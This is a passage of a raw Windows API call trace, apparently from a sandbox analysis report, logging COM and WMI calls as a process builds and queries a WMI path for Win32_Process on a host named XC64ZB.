(This=0x1b4330d0) returned 0x3 [0129.095] CoGetContextToken (in: pToken=0x1b10c2a0 | out: pToken=0x1b10c2a0) returned 0x0 [0129.095] CoGetContextToken (in: pToken=0x1b10c720 | out: pToken=0x1b10c720) returned 0x0 [0129.095] WbemDefPath:IUnknown:QueryInterface (in: This=0x350f00, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7e0 | out: ppvObject=0x1b10c7e0*=0x0) returned 0x80004002 [0129.095] WbemDefPath:IUnknown:Release (This=0x350f00) returned 0x2 [0129.095] WbemDefPath:IUnknown:Release (This=0x350f00) returned 0x1 [0129.095] CoGetContextToken (in: pToken=0x1b10d510 | out: pToken=0x1b10d510) returned 0x0 [0129.095] CoGetContextToken (in: pToken=0x1b10d410 | out: pToken=0x1b10d410) returned 0x0 [0129.095] WbemDefPath:IUnknown:QueryInterface (in: This=0x350f00, riid=0x1b10d570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d540 | out: ppvObject=0x1b10d540*=0x350f00) returned 0x0 [0129.096] WbemDefPath:IUnknown:AddRef (This=0x350f00) returned 0x3 [0129.096] WbemDefPath:IUnknown:Release (This=0x350f00) returned 0x2 [0129.096] WbemDefPath:IWbemPath:SetText (This=0x350f00, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0129.096] IWbemClassObject:Get (in: This=0x36b790, wszName="__SERVER", lFlags=0, pVal=0x1b10d980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10dac0*=0, plFlavor=0x1b10dab8*=0 | out: pVal=0x1b10d980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="XC64ZB", varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64) returned 0x0 [0129.096] SysStringByteLen (bstr="XC64ZB") returned 0xc [0129.096] SysStringByteLen (bstr="XC64ZB") returned 0xc [0129.096] IWbemClassObject:Get (in: This=0x36b790, wszName="__NAMESPACE", lFlags=0, pVal=0x1b10d980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64 | out: pVal=0x1b10d980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64) returned 0x0 [0129.096] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0129.096] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0129.096] IWbemClassObject:Get (in: This=0x36b790, wszName="__CLASS", lFlags=0, pVal=0x1b10d980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64 | out: pVal=0x1b10d980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1b10dac0*=8, plFlavor=0x1b10dab8*=64) returned 0x0 [0129.096] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0129.096] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0129.096] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0129.097] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0129.097] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0129.097] IUnknown:Release (This=0x3111d8) returned 0x1 [0129.097] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x1b433290) returned 0x0 [0129.098] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433290, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0129.098] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433290, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x352700) returned 0x0 [0129.098] WbemDefPath:IUnknown:Release (This=0x1b433290) returned 0x0 [0129.098] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x352700) returned 0x0 [0129.098] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0129.098] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0129.098] WbemDefPath:IUnknown:AddRef (This=0x352700) returned 0x3 [0129.098] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0129.098] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0129.098] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x1b433630) returned 0x0 [0129.098] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433630, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.098] WbemDefPath:IUnknown:Release (This=0x1b433630) returned 0x3 [0129.099] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0129.099] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0129.099] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0129.099] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x2 [0129.099] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x1 [0129.099] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0129.099] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0129.099] WbemDefPath:IUnknown:QueryInterface (in: This=0x352700, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x352700) returned 0x0 [0129.099] WbemDefPath:IUnknown:AddRef (This=0x352700) returned 0x3 [0129.099] WbemDefPath:IUnknown:Release (This=0x352700) returned 0x2 [0129.099] WbemDefPath:IWbemPath:SetText (This=0x352700, uMode=0x4, pszPath="") returned 0x0 [0129.099] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0129.099] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0129.099] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0129.099] IUnknown:Release (This=0x3111d8) returned 0x1 [0129.100] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x1b433290) returned 0x0 [0129.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433290, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0129.101] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433290, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x3527c0) returned 0x0 [0129.101] WbemDefPath:IUnknown:Release (This=0x1b433290) returned 0x0 [0129.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x3527c0) returned 0x0 [0129.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0129.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0129.101] WbemDefPath:IUnknown:AddRef (This=0x3527c0) returned 0x3 [0129.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0129.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0129.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x1b4335d0) returned 0x0 [0129.102] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4335d0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.102] WbemDefPath:IUnknown:Release (This=0x1b4335d0) returned 0x3 [0129.102] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0129.102] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0129.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0129.102] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x2 [0129.102] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x1 [0129.102] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0129.102] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0129.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x3527c0, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x3527c0) returned 0x0 [0129.102] WbemDefPath:IUnknown:AddRef (This=0x3527c0) returned 0x3 [0129.102] WbemDefPath:IUnknown:Release (This=0x3527c0) returned 0x2 [0129.102] WbemDefPath:IWbemPath:SetText (This=0x3527c0, uMode=0x4, pszPath="") returned 0x0 [0129.102] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3527c0, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0129.102] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352700, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0129.102] WbemDefPath:IWbemPath:GetClassName (in: This=0x3527c0, puBuffLength=0x1b10da08*=0x0, pszName=0x0 | out: puBuffLength=0x1b10da08*=0x0, pszName=0x0) returned 0x8004103a [0129.102] WbemDefPath:IWbemPath:GetServer (in: This=0x3527c0, puNameBufLength=0x1b10da10*=0x0, pName=0x0 | out: puNameBufLength=0x1b10da10*=0x0, pName=0x0) returned 0x80041009 [0129.102] WbemDefPath:IWbemPath:SetServer (This=0x3527c0, Name="XC64ZB") returned 0x0 [0129.102] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8c8 | out: ppv=0x1b10d8c8*=0x3111d8) returned 0x0 [0129.103] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8b8 | out: pAptType=0x1b10d8b8*=1) returned 0x0 [0129.103] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8c0 | out: ppvObject=0x1b10d8c0*=0x0) returned 0x80004002 [0129.103] IUnknown:Release (This=0x3111d8) returned 0x1 [0129.103] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccb8 | out: ppv=0x1b10ccb8*=0x1b4335f0) returned 0x0 [0129.104] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4335f0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cda0 | out: ppvObject=0x1b10cda0*=0x0) returned 0x80004002 [0129.104] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4335f0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd78 | out: ppvObject=0x1b10cd78*=0x352880) returned 0x0 [0129.104] WbemDefPath:IUnknown:Release (This=0x1b4335f0) returned 0x0 [0129.104] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb20 | out: ppvObject=0x1b10cb20*=0x352880) returned 0x0 [0129.104] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cbb0 | out: ppvObject=0x1b10cbb0*=0x0) returned 0x80004002 [0129.104] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c3a8 | out: ppvObject=0x1b10c3a8*=0x0) returned 0x80004002 [0129.104] WbemDefPath:IUnknown:AddRef (This=0x352880) returned 0x3 [0129.104] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c268 | out: ppvObject=0x1b10c268*=0x0) returned 0x80004002 [0129.104] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c1f0 | out: ppvObject=0x1b10c1f0*=0x0) returned 0x80004002 [0129.104] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c1e0 | out: ppvObject=0x1b10c1e0*=0x1b433ad0) returned 0x0 [0129.104] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b433ad0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c208 | out: pCid=0x1b10c208*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.105] WbemDefPath:IUnknown:Release (This=0x1b433ad0) returned 0x3 [0129.105] CoGetContextToken (in: pToken=0x1b10c290 | out: pToken=0x1b10c290) returned 0x0 [0129.105] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0129.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c7d0 | out: ppvObject=0x1b10c7d0*=0x0) returned 0x80004002 [0129.105] WbemDefPath:IUnknown:Release (This=0x352880) returned 0x2 [0129.105] WbemDefPath:IUnknown:Release (This=0x352880) returned 0x1 [0129.105] CoGetContextToken (in: pToken=0x1b10d500 | out: pToken=0x1b10d500) returned 0x0 [0129.105] CoGetContextToken (in: pToken=0x1b10d400 | out: pToken=0x1b10d400) returned 0x0 [0129.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x352880, riid=0x1b10d560*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d530 | out: ppvObject=0x1b10d530*=0x352880) returned 0x0 [0129.105] WbemDefPath:IUnknown:AddRef (This=0x352880) returned 0x3 [0129.105] WbemDefPath:IUnknown:Release (This=0x352880) returned 0x2 [0129.105] WbemDefPath:IWbemPath:SetText (This=0x352880, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0129.105] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3527c0, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x0) returned 0x0 [0129.105] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352880, puCount=0x1b10d978 | out: puCount=0x1b10d978*=0x2) returned 0x0 [0129.105] WbemDefPath:IWbemPath:GetText (in: This=0x352880, lFlags=16, puBuffLength=0x1b10d970*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d970*=0xb, pszText=0x0) returned 0x0 [0129.105] WbemDefPath:IWbemPath:GetText (in: This=0x352880, lFlags=16, puBuffLength=0x1b10d970*=0xb, pszText="0000000000" | out: puBuffLength=0x1b10d970*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0129.106] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x3527c0) returned 0x0 [0129.106] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352880, puCount=0x1b10d9d0 | out: puCount=0x1b10d9d0*=0x2) returned 0x0 [0129.106] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352880, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x5, pName=0x0) returned 0x0 [0129.106] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352880, uIndex=0x0, puNameBufLength=0x1b10d9c8*=0x5, pName="0000" | out: puNameBufLength=0x1b10d9c8*=0x5, pName="ROOT") returned 0x0 [0129.106] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x3527c0, uIndex=0x0, pszName="ROOT") returned 0x0 [0129.106] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352880, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x0, pName=0x0 | out: puNameBufLength=0x1b10d9c8*=0x6, pName=0x0) returned 0x0 [0129.106] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x352880, uIndex=0x1, puNameBufLength=0x1b10d9c8*=0x6, pName="00000" | out: puNameBufLength=0x1b10d9c8*=0x6, pName="CIMV2") returned 0x0 [0129.106] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x3527c0, uIndex=0x1, pszName="CIMV2") returned 0x0 [0129.106] WbemDefPath:IWbemPath:GetClassName (in: This=0x3527c0, puBuffLength=0x1b10da08*=0x0, pszName=0x0 | out: puBuffLength=0x1b10da08*=0x0, pszName=0x0) returned 0x8004103a [0129.106] WbemDefPath:IWbemPath:SetClassName (This=0x3527c0, Name="Win32_Process") returned 0x0 [0129.106] WbemDefPath:IWbemPath:GetInfo (in: This=0x3527c0, uRequestedInfo=0x0, puResponse=0x1b10daf0 | out: puResponse=0x1b10daf0*=0x20c16) returned 0x0 [0129.106] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x3527c0, puCount=0x1b10da48 | out: puCount=0x1b10da48*=0x2) returned 0x0 [0129.106] WbemDefPath:IWbemPath:GetText (in: This=0x3527c0, lFlags=4, puBuffLength=0x1b10da40*=0x0, pszText=0x0 | out: puBuffLength=0x1b10da40*=0x22, pszText=0x0) returned 0x0 [0129.106] WbemDefPath:IWbemPath:GetText (in: This=0x3527c0, lFlags=4, puBuffLength=0x1b10da40*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b10da40*=0x22, 